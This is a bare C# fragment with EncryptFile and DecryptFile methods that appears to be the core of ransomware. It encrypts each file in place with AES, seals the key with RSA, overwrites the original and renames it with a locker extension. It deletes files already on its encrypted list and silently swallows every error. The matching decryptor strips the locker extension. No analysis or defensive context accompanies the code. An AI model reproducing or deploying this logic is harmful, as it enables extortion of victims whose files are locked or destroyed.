public void EncryptFile(string file) { byte[] EncryptedData = new byte[] { 0 }; vxFile encFile = new vxFile(); vxFileHeader header = new vxFileHeader(); vxFunctions.CheckSums CHCKSM = new vxFunctions.CheckSums(); RijndaelManaged AES = new RijndaelManaged(); SetupAES(ref AES); int totalKeySize = (AES.KeySize / 8) + (AES.BlockSize / 8); byte[] Keys = new byte[totalKeySize]; Array.Copy(AES.Key, 0, Keys, 0, 32); Array.Copy(AES.IV, 0, Keys, 32, 16); if (!File.Exists(file)) { return; } header.RSA_KEY = encryption.RSA.Encrypt(Keys, true); header.CHECKSUM = Encoding.ASCII.GetBytes(CHCKSM.SHA256CheckSum(file)); header.Version = VERSION; if (IsFileEncrypted(Encoding.ASCII.GetString(header.CHECKSUM))) { try { File.Delete(file); } catch (Exception) { } return; } byte[] EncFile = ReadFile(file); encFile.Header = header; encFile.DATA = EncryptFileInMemory(EncFile, AES); byte[] FinalData = GetEncryptedFile(encFile); try { File.WriteAllBytes(file, FinalData); File.Move(file, string.Format("{0}.{1}", file, encryptedExt)); vxEncrypted.Add(encFile.Header); } catch (IOException) { } catch (UnauthorizedAccessException) { } catch (Exception) { } }
public void DecryptFile(string file) { byte[] EncryptedStruct = new byte[] { 0 }; string cryptFile = file; vxFile _enc = new vxFile(); vxFileHeader _header = new vxFileHeader(); vxFunctions.CheckSums CHCKSM = new vxFunctions.CheckSums(); RijndaelManaged AES = new RijndaelManaged(); AES.KeySize = 256; AES.BlockSize = 128; AES.Mode = CipherMode.CBC; using (var x = File.OpenRead(file)) { if (x.Length < MIN_FILE_SIZE) { return; } } vxFile FileToDec = ReadFileStruct(file); if (FileToDec == null) { return; } byte[] RSA_KEY = FileToDec.Header.RSA_KEY; byte[] AES_Decrypted = new byte[] { 0 }; try { AES_Decrypted = encryption.RSA.Decrypt(RSA_KEY, true); } catch (CryptographicException) { return; } catch (Exception) { return; } byte[] AES_KEY = new byte[32]; byte[] AES_IV = new byte[16]; if (AES_Decrypted.Length < 48) { return; } try { Array.Copy(AES_Decrypted, 0, AES_KEY, 0, AES_KEY.Length); Array.Copy(AES_Decrypted, 32, AES_IV, 0, AES_IV.Length); } catch { } AES.Key = AES_KEY; AES.IV = AES_IV; byte[] DecryptedBytes = null; try { using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) { cs.Write(FileToDec.DATA, 0, FileToDec.DATA.Length); } DecryptedBytes = ms.ToArray(); } } catch { } try { File.WriteAllBytes(file, DecryptedBytes); } catch (IOException) { } catch { } RemoveLockerExtension(file); }